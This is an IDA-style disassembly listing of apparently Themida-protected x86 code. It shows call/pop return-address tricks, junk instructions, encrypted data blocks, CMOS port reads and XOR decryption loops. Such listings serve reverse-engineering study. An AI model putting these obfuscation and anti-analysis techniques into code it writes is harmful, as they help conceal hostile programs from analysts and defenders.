		db 64h,	89h
; ---------------------------------------------------------------------------


loc_5BF37A:				; CODE XREF: Themida_:005BF374j
		and	eax, 0
		sub	edi, 762FC249h
		inc	dword ptr [ebp+6121235h]
		push	0
		push	eax
		call	sub_5BF396
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF396	proc near		; CODE XREF: Themida_:005BF38Ep

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_5BF396	endp

; ---------------------------------------------------------------------------
		pushf
		push	es
		dec	esp
		mov	[ebp+61232E1h],	ecx


loc_5BF3AF:				; CODE XREF: Themida_:loc_5C00B9j
		push	0FFFFFFFFh
		push	0
		push	edi
		call	sub_5BF3BC
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF3BC	proc near		; CODE XREF: Themida_:005BF3B4p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5BF3BC	endp

; ---------------------------------------------------------------------------
		xor	edi, [eax-77h]
		mov	ebp, 6121069h
		movsx	ebx, bx
		push	dword ptr [ebp+6120841h]
		clc
		call	dword ptr [ebp+6121475h]
		jmp	loc_5BF51B
; ---------------------------------------------------------------------------
		mov	bh, ch
		jmp	loc_5BF401
; ---------------------------------------------------------------------------
		dd 3C7CC2EFh, 8C63404Fh, 79F76425h, 8E91436h
		db 66h
; ---------------------------------------------------------------------------


loc_5BF401:				; CODE XREF: Themida_:005BF3EBj
		mov	al, 0
		mov	bx, si
		out	70h, al		; CMOS Memory:
					; used by real-time clock
		jmp	loc_5BF420
; ---------------------------------------------------------------------------
		db 45h,	8Ah, 0C0h
		dd 0CC1331E6h, 0A1D62B1Ch, 0FA874C36h, 5A29A01Fh
; ---------------------------------------------------------------------------


loc_5BF420:				; CODE XREF: Themida_:005BF408j
		in	al, 71h		; CMOS Memory
		push	esi
		or	ebx, [ebp+61229F1h]
		pop	edi
		cmp	al, 61h
		jnb	loc_5BF51B
		sub	[ebp+6121FA9h],	ecx
		movzx	ecx, al
		jmp	loc_5BF448
; ---------------------------------------------------------------------------
		dd 0EB69274h, 0A31930BBh
; ---------------------------------------------------------------------------


loc_5BF448:				; CODE XREF: Themida_:005BF43Bj
		mov	edx, 6
		mov	edi, 778D6723h
		mov	eax, ecx
		jmp	loc_5BF466
; ---------------------------------------------------------------------------
		db 2 dup(3), 0FCh
		dd 0AA54B0DEh, 0FBF9E3CDh
		db 62h,	0B5h
; ---------------------------------------------------------------------------


loc_5BF466:				; CODE XREF: Themida_:005BF454j
		shr	eax, 4
		mov	ebx, esi
		mul	dx
		mov	ebx, edx
		sub	ecx, eax
		mov	[ebp+61202ADh],	esi
		mov	edx, ecx
		pusha
		mov	ecx, [ebp+6122941h]
		popa
		and	bh, 0C0h
		jmp	$+5
		mov	eax, [ebp+6122191h]
		jmp	loc_5BF4A7
; ---------------------------------------------------------------------------
		db 0DEh, 0B7h, 5Ah
; ---------------------------------------------------------------------------
		sub	al, 77h
		add	[ebx], dl
		lodsd
		cmpsb
		mov	ebp, 0F73E9F81h
		and	ebx, [eax+edi*4-59h]


loc_5BF4A7:				; CODE XREF: Themida_:005BF490j
		add	eax, 7
		mov	ebx, [ebp+61228D1h]
		add	eax, 0
		mov	edi, [ebp+612283Dh]
		add	bl, 18h
		cmp	edx, eax
		jnb	loc_5BF4D5
		add	edi, 5357DA7h
		sbb	di, 9798h
		jmp	loc_5BF51B
; ---------------------------------------------------------------------------
		stc


loc_5BF4D5:				; CODE XREF: Themida_:005BF4BEj
		mov	ecx, [ebp+61213DDh]
		or	[ebp+612042Dh],	edi
		mov	bx, 660Eh
		and	ecx, 1
		jz	loc_5BF51B
		pusha
		mov	[ebp+6122A81h],	esi
		or	dh, 65h
		popa
		and	dword ptr [ebp+61213DDh], 0FFFFFFFEh
		or	[ebp+6120B39h],	esi
		mov	[ebp+6122191h],	edx
		mov	bx, 9090h
		mov	ebx, [ebp+6120CA5h]
		jmp	$+5


loc_5BF51B:				; CODE XREF: Themida_:005BF3E4j
					; Themida_:005BF42Cj ...
		lea	esi, [ebp+615D407h]
		push	0
		push	ecx
		call	sub_5BF52C
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF52C	proc near		; CODE XREF: Themida_:005BF524p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5BF52C	endp

; ---------------------------------------------------------------------------
		dd 6559830Fh, 13E9C588h, 0E3000000h, 0A24A5490h, 0E3AACAD6h
		dd 4421366Ch, 0A7BFE5AFh, 6AC70Bh, 0FA82BF66h, 29D195FFh
		dd 9D010612h, 6121C8Dh,	705B9h,	1D8D0100h, 0FC061208h
		dd 0FFCE183h, 488h, 9CBB6600h, 6AFC70h,	3E852h,	5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 8EFD52C3h
		dd 7841E7E6h, 0B589ED7Bh, 612255Dh, 0BD89C02Bh,	6121F75h
		dd 6AD22Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 0FED43C3h, 33ADD8B7h, 3E8D1C2h, 4E983D0h
		dd 6AF475h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 0DAFC1FC3h, 89E19872h, 11E9h, 98504F00h
		dd 0DC4E382Fh, 24765127h, 0F66F47F6h, 0E381ABA8h, 0F69B01Bh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0C5C35747h
		dd 0EBF3F5A5h, 3195010Ah, 0E9061217h, 0Eh, 0DDA27B97h
		dd 64126B11h, 44A6E2Ah,	0BD29CBC7h, 6120461h, 880Dh, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 14A78241h, 0E7C3CE68h, 958B3EB7h, 6122DCDh, 0DE9h, 407AA700h
		dd 0C16A8824h, 0C9AC73B6h, 8D8B6763h, 61231BDh,	89DAB70Fh
		dd 12217DBDh, 0C28B5006h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
		dd 6A58188Bh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 0ABC1C353h, 299CD1CBh,	0C3CA593Eh
		dd 0CE8h, 69237200h, 0F5385CA3h, 0BA4D2208h, 0D0E6BF35h
		dd 835F3D7Ch, 121419BDh, 840F0006h, 8Fh, 21359D23h, 0BD0B0612h
		dd 61221A9h, 0B8h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 6B4A8FD7h, 0E9BD8B3Dh
		dd 8D061226h, 124E4B8Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 0CE0EB331h, 119D2389h
		dd 0F906122Eh, 6AE1FFh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 921B2AC3h, 4608C923h, 69BD8BCFh
		dd 83061232h, 120011BDh, 840F0006h, 402h, 83FEB70Fh, 120011BDh
		dd 840F0106h, 40Dh, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 9CC35141h, 3CE014BFh,	830AB773h, 120011BDh
		dd 860F0306h, 3A7h, 0FADBC381h,	0F60197Dh, 8C66DBBFh, 3DB529D9h
		dd 8006121Ah, 6A04E1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 522257C3h, 0E72695BDh, 45BD8B01h
		dd 0A061223h, 3F840FC9h, 8B000001h, 1224CD85h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 2F3220E4h, 0DC62A012h, 8533FCBBh, 612248Dh, 28B1B589h
		dd 66500612h, 489DE8Bh,	51006A24h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 0F4AFBE1h, 8B1B0E56h
		dd 1228EDBDh, 6A006A06h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 2C8AC357h, 0CE9E3C7h
		dd 0CE000000h, 0F6D064B0h, 0AEFE9E1Bh, 0E8ADFA6Dh, 0Ah
		dd 3802067Ah, 0A43070ABh, 890F9E2Bh, 15h, 10E9h, 0F9810F00h
		dd 22BB1079h, 5CE6B5CEh, 8B4569ADh, 0DE8B5BF2h,	50EDEB68h
		dd 0BB52508Ah, 6E82ADCDh, 6660310Fh, 890FFA8Bh,	0
; ---------------------------------------------------------------------------
		popa
		pop	edx
		pop	eax
		add	dword ptr [esp], 75CE1614h
		or	ebx, 1430ED7Dh
		call	dword ptr [ebp+6123031h]
		jnp	loc_5BF93A
		pusha
		or	[ebp+6121785h],	eax
		mov	ecx, [ebp+6122A19h]
		popa


loc_5BF93A:				; CODE XREF: Themida_:005BF926j
		mov	[ebp+615BD0Ch],	eax
		mov	[ebp+6120761h],	ebx
		jmp	loc_5BFB30
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5BF956
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF956	proc near		; CODE XREF: Themida_:005BF94Ep

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_5BF956	endp

; ---------------------------------------------------------------------------
		dw 0A70Bh
		dd 0FF5E107h, 18Bh, 858BF900h, 615BD04h, 1860Fh, 0C7F50000h
		dd 1800h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 0FBA12D9h, 68Dh, 6DBD8900h, 8B06121Dh
		dd 15BD08B5h, 0DABF6606h, 99858BF4h, 6A061223h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 0FB6C352h, 68Fh, 0A99D8B00h,	0F8061216h, 6A0689h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 268152C3h, 0FEB16ABh, 6840Fh, 0BD8B0000h, 612261Dh
		dd 8BFBB70Fh, 1224CD85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 2DBE5474h, 168B59B1h
		dd 8589B58Bh, 6121D15h,	9044689h, 121AA195h, 50609606h
		dd 13E8h, 15006900h, 0C96785FAh, 92FC9744h, 7BBD70EEh
		dd 596E0BB0h, 50615E5Fh, 3EC1ABBFh, 8DBF960Bh, 0FF388D07h
		dd 15BD04B5h, 12E906h, 0B0F20000h, 8F324078h, 0CAC087Fh
		dd 59CEDE92h, 7711F1FAh, 0FD54D368h, 0DA8B664Ch, 2C243481h
		dd 664CE257h, 66BD53BFh, 858DFB8Bh, 615BD0Ch, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0C6C35242h, 519A5281h
		dd 0F8BF0F73h, 8A525090h, 66310FFEh, 5A8F25BFh,	0BB665058h
		dd 6A90769Ch, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0C99CC351h, 18C7FF3h, 0BD8B828Eh
		dd 61203B9h, 303195FFh,	830F0612h, 6, 13F58529h, 9D8B0612h
		dd 6120F39h
; ---------------------------------------------------------------------------


loc_5BFB30:				; CODE XREF: Themida_:005BF946j
		popa
		jmp	loc_5BFB40
; ---------------------------------------------------------------------------
		dw 438h
		dd 0CE95153Dh, 958EEA26h
; ---------------------------------------------------------------------------


loc_5BFB40:				; CODE XREF: Themida_:005BFB31j
		mov	dword ptr [ebp+6120011h], 3
		push	0
		push	esi
		call	sub_5BFB55
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BFB55	proc near		; CODE XREF: Themida_:005BFB4Dp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_5BFB55	endp

; ---------------------------------------------------------------------------
		db 7Ah,	0DAh, 80h
; ---------------------------------------------------------------------------
		scasd
		pusha
		sub	dl, 0A6h
		mov	edx, [ebp+61212B5h]
		popa
		mov	edi, 576F97D9h
		cmp	dword ptr [ebp+615BD0Ch], 0
		jz	loc_5BFB93
		mov	edi, [ebp+61210F1h]
		jmp	loc_5BFBAE
; ---------------------------------------------------------------------------
		mov	bh, 0CAh


loc_5BFB93:				; CODE XREF: Themida_:005BFB80j
					; Themida_:005BFBAAj
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_5BFB93
		jmp	short loc_5BFBE4
; ---------------------------------------------------------------------------


loc_5BFBAE:				; CODE XREF: Themida_:005BFB8Cj
					; Themida_:005BFBC5j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5BFBAE
		jmp	short loc_5BFBE4
; ---------------------------------------------------------------------------


loc_5BFBC9:				; CODE XREF: Themida_:005BFBE0j
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5BFBC9
		jmp	short $+2


loc_5BFBE4:				; CODE XREF: Themida_:005BFBACj
					; Themida_:005BFBC7j
		mov	eax, eax
		push	0
		push	ebp
		call	sub_5BFBF1
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BFBF1	proc near		; CODE XREF: Themida_:005BFBE9p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5BFBF1	endp

; ---------------------------------------------------------------------------
		adc	al, [ecx-3]
		sti
		cmpsb
		and	edi, [ebp-3Dh]
		pop	esp
		mov	bh, 0C8h
		push	0
		push	ebx
		call	sub_5BFC17
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BFC17	proc near		; CODE XREF: Themida_:005BFC0Fp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_5BFC17	endp

; ---------------------------------------------------------------------------
		inc	edi
		aas
		sbb	edx, [ecx-7Eh]
		sub	bx, 0F4A5h
		cmp	dword ptr [ebp+6120011h], 3
		jnz	loc_5C00B9
		push	0
		push	ecx
		call	sub_5BFC49
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BFC49	proc near		; CODE XREF: Themida_:005BFC41p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5BFC49	endp

; ---------------------------------------------------------------------------
		shr	dword ptr [ebp+73h], 1
		or	eax, 83244548h
		mov	ebp, 615BD0Ch
		add	[edi], cl
		test	[esp+eax+0], cl
		add	[edi+58941F8Bh], bh
		push	dword ptr [ebp+615BD0Ch]
		call	dword ptr [ebp+6122029h]
		mov	esi, [ebp+615BD00h]
		push	0
		push	ebx
		call	sub_5BFC8F
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BFC8F	proc near		; CODE XREF: Themida_:005BFC87p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5BFC8F	endp

; ---------------------------------------------------------------------------
		db 60h
		dd 0E382E5A8h, 97E67E04h, 6810FBEh, 89000000h, 12345DB5h
		dd 106C706h, 6A000100h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 0F340C355h,	0ED4A2144h
		dd 16558D89h, 0BF960612h, 2CC2F6F0h, 0F525050h,	5AF98B31h
		dd 6A9658h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 115658C3h, 0CD32DEAEh, 0C780D6FBh, 860F60FDh
		dd 18h,	12E8h, 0E30A9F00h, 0A3929B0Ch, 4B4D8DFFh, 36CF0412h
		dd 5AD40112h, 0DE9h, 0F7784D00h, 84CFA2ADh, 295026E4h
		dd 0FF6140AAh, 15BD0CB5h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 833B8EB8h
		dd 67BB23A5h, 0FF6A290Dh, 121AE195h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 0BF0D0A69h
		dd 60DD0FFFh, 0BD00B58Bh, 0BB660615h, 858BAB4Bh, 6123039h
		dd 13E8h, 544B8F00h, 0CD591BC7h, 0ABB1AF10h, 0C5923D1Bh
		dd 50D648E8h, 1D7D8D29h, 895F0612h, 0C486h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 0AF8BC0C5h, 8B726E42h, 1231B99Dh, 0CD958B06h, 8906122Dh
		dd 120EE5BDh, 0D98B6606h, 3304C283h, 122FC99Dh,	0F9958906h
		dd 8906122Eh, 6A2050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 510129C3h, 0EA858D5Fh, 0F0615D0h
		dd 8Fh,	3DBD8B00h, 89061234h, 0B886h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
		dd 0B261F503h, 5E123514h, 0BDBD8B38h, 6A06120Eh, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 0DDCCE273h, 85BD89ABh, 0FF061219h, 15BD0CB5h, 8B665706h
		dd 0F565FF8h, 0FF5BDBB7h, 122CD595h, 8C38006h, 6E85750h
		dd 41000000h, 7E70D902h, 0F5250BAh, 5F585A31h, 2434895Fh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0DEC35343h
		dd 0BF0F4B18h, 0CB5FFD9h, 90615BDh, 121BC9B5h, 2995FF06h
		dd 6A06122Eh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 0E282C353h, 0BE885h, 31D30000h
		dd 4E3D9FD6h, 5A9A24Fh,	4C68BBE3h, 835B53E4h, 121189BDh
		dd 840F0006h, 26h, 29DD8509h, 0F500612h, 0C89h,	52506000h
		dd 585A310Fh, 0BB4B866h, 24348961h, 8EEABB66h, 2FED9D03h
		dd 0B5FF0612h, 615BD0Ch, 149DBD8Bh, 85310612h, 6120035h
		dd 2AA595FFh, 6A0612h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 353EEDC3h, 0BF4BD804h, 0E9ACDC0Dh
		dd 8, 0B1DA15E0h, 313174E8h, 0B5FFDE8Bh, 615BD0Ch, 5CE2BB66h
		dd 1BB195FFh, 6A0612h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 303145C3h, 6D85897Fh, 83061214h
		dd 122A41BDh, 840F0206h, 90h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 0C1C35242h,	0DBBF0FB5h, 18A9858Bh
		dd 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 0F4845FC3h, 60B80FCCh, 0EF8018A1h, 719D8BE0h
		dd 0C6061200h, 6A0000h,	3E850h
dword_5C005C	dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
					; DATA XREF: ___:off_443EACo
		dd 0E855C0C3h, 13h, 0C2BC00FAh,	0DF979DFBh, 0E5CE52EDh
		dd 51A59968h, 66625DE4h, 5FCC5ABFh, 30185C7h, 612h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 0A3494FC3h
		db 7Ch
; ---------------------------------------------------------------------------


loc_5C00B9:				; CODE XREF: Themida_:005BFC38j
		jmp	loc_5BF3AF
; ---------------------------------------------------------------------------
		mov	edi, esi
		mov	eax, ecx
		lea	eax, [ebp+6120065h]
		push	0
		push	ebx
		call	sub_5C00D3
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C00D3	proc near		; CODE XREF: Themida_:005C00CBp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5C00D3	endp

; ---------------------------------------------------------------------------
		db 0BFh
		dd 0F195290Dh, 0F061203h, 5090DFBFh, 6800F52h, 50000000h
		dd 5A310F52h, 0B3310F58h, 50585A50h, 0F8E0Fh, 8B600000h
		dd 6E9FBh, 94090000h, 326BF194h, 6A9061h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0C5CBEFC3h
		dd 0F006AF7h, 589h, 5C24BB00h, 6A2B57h,	0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Dh, 8BC35343h, 94626808h
		dd 542DF337h, 0E2858DF1h, 6A061647h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 6A6EC357h
		dd 0FABF0F37h, 2CDBD89h, 0B5890612h, 6121A15h, 8905C083h
		dd 121C4585h, 7BB39006h, 90FE8B50h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 0D8C35747h,	0BFA1CC26h, 786163CFh
		dd 8529006Ah, 61200C5h,	0AE9h, 35C98600h, 3E859BB5h, 6A67AB1Dh
		dd 0F88B6600h, 0B5595FFh, 6A0612h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 0CD634FC3h, 0F57ED02h
		dd 48Ch, 0BF6600h, 0CA8D8D3Ah, 8B06159Bh, 122E959Dh, 0BBD1FF06h
		dd 55921062h, 0EE9BD83h, 0F010612h, 7B85h, 9FF38100h, 6A77B8BDh
		dd 50006A02h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 225F0422h, 19FD8D89h, 50500612h,	0BF310F52h
		dd 55660D35h, 489585Ah,	50006A24h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 0D595FFA5h, 6A06122Ch
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 819DC357h, 0D9DE9h, 0E800h, 815D0000h, 1647ECEDh
		dd 0F3816606h, 12E81455h, 57000000h, 0CF97CD96h, 0E379EAA3h
		dd 529F4505h, 3554C198h, 8D5FFC52h, 15968F85h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 8BF30DB4h, 121701BDh, 0DE906h, 0A9E60000h, 57F987A1h
		dd 67AD7AB2h, 903E8B21h, 50FA8B66h, 753BF66h, 52006A90h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 0CED4C2D7h, 0B7A34AB7h, 0FF64C209h, 35h, 25896400h
		dd 0
; ---------------------------------------------------------------------------
		mov	bl, 8Ch
		mov	[ebp+6122031h],	esi
		inc	dword ptr [ebp+6121235h]
		add	ebx, 4F22CAFDh


loc_5C0378:				; CODE XREF: Themida_:loc_5C1039j
		push	0FFFFFFFFh
		mov	[ebp+61221CDh],	eax
		push	dword ptr [ebp+61225B1h]
		mov	ebx, [ebp+6122AD5h]
		call	dword ptr [ebp+6121475h]
		jmp	loc_5C04E5
; ---------------------------------------------------------------------------
		db 0E8h
		dd 9
; ---------------------------------------------------------------------------


loc_5C039C:				; CODE XREF: Themida_:005C03A0j
		wait
		sub	bh, [ebx-49h]
		jno	short loc_5C039C
		fnstcw	word ptr [eax-3A427446h]
		pop	ds
		adc	al, [esi]
		pop	ebx
		mov	al, 0
		mov	[ebp+6122995h],	esi
; ---------------------------------------------------------------------------
		dd 9D2B70E6h, 6122FADh,	5840Fh,	81660000h, 0E4FC90CBh
		dd 0D5B58971h, 3C061224h, 0E830F61h, 0BB000001h, 495EA888h
		dd 8BC8B60Fh, 1220D99Dh, 6BA06h, 0BF660000h, 0C18B6585h
		dd 12E8h, 0C7902C00h, 424814C7h, 80E3DEC1h, 0D633271Eh
		dd 5B3CB259h, 0F04E8C1h, 168Ah,	11E900h, 0F99E0000h, 0FC2594A8h
		dd 6BA53B98h, 0F51053A6h, 66779A70h, 0C82BE2F7h, 30B19D89h
		dd 0D18B0612h, 0AE8h, 1F828900h, 0FD59EBF8h, 8B731603h
		dd 1E95BD8h, 0F9000000h, 2D99858Bh, 9D8B0612h, 6121571h
		dd 6007C083h, 15A58D29h, 820F0612h, 0Fh, 0AE9h,	15F93500h
		dd 6D30AFE9h, 614EE59Ch, 0F00C083h, 0D03BFBB7h,	10830Fh
		dd 0BD8B0000h, 612345Dh, 54E9h,	0C7816600h, 8D8BEFDFh
		dd 61223EDh, 14D1BD8Bh,	0BD090612h, 6121701h, 0F01E183h
		dd 3484h, 16810F00h, 0E9000000h, 11h, 0D0AAD96Ch, 1D4DD75Ch
		dd 0F913CC38h, 43360E4Bh, 0EDA5839Eh, 0FE061223h, 0CE0BF66h
		dd 2D999589h, 0DC8A0612h, 0E9h
		db 0
; ---------------------------------------------------------------------------


loc_5C04E5:				; CODE XREF: Themida_:005C0392j
		lea	esi, [ebp+615DD1Ah]
		push	0
		push	ebp
		call	sub_5C04F6
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C04F6	proc near		; CODE XREF: Themida_:005C04EEp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_5C04F6	endp

; ---------------------------------------------------------------------------
		pop	esp
		push	cs
		push	0
		push	0
		push	eax
		call	sub_5C0515
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C0515	proc near		; CODE XREF: Themida_:005C050Dp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_5C0515	endp

; ---------------------------------------------------------------------------
		db 6Dh,	0D6h, 0E3h
		dd 0BF0FEFF8h, 952956FBh, 6121D69h, 0D195FF5Bh,	0E9061229h
		dd 0Ah,	357C31D9h, 799C010Ah, 47B99D9Dh, 8B00000Eh, 1226119Dh
		dd 0FCE18306h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	85C35545h, 0E921E246h, 6, 692BB5C5h, 6AFC305Bh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 2B92C356h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 0BAF7E2F4h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5C05CF
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C05CF	proc near		; CODE XREF: Themida_:005C05C7p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_5C05CF	endp

; ---------------------------------------------------------------------------
		db 9, 0DBh
; ---------------------------------------------------------------------------
		sal	dword ptr ds:66D59C3Dh,	8Bh
		sti


loc_5C05E9:				; CODE XREF: Themida_:005C05F3j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5C05E9
		push	0
		push	ebp
		call	sub_5C0600
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C0600	proc near		; CODE XREF: Themida_:005C05F8p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_5C0600	endp

; ---------------------------------------------------------------------------
		dd 6CECEFC6h, 87E6AE29h, 9D894964h, 6122A35h, 3B6BABBFh
		dd 880D2Bh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 0B60933C3h, 695BB02Bh, 0CB80F3ABh
		dd 0CD958BC4h, 6606122Dh, 8D8BDA8Bh, 61231BDh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 67C35343h, 50D1D48Bh
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	4D9D8B58h
		dd 6A06121Dh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 0B98EC352h, 333055A7h,	1227DDBDh
		dd 835B5306h, 121419BDh, 840F0006h, 50h, 0B8F9h, 0B70F0000h
		dd 4B8D8DDAh, 6A06124Eh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 0BBFBC350h,	3529052Fh
		dd 0BD895195h, 6122009h, 0BE95Bh, 0B5980000h, 4FA1E100h
		dd 52D855DFh, 66E1FFCBh, 86FDE781h, 11BD83h, 0F000612h
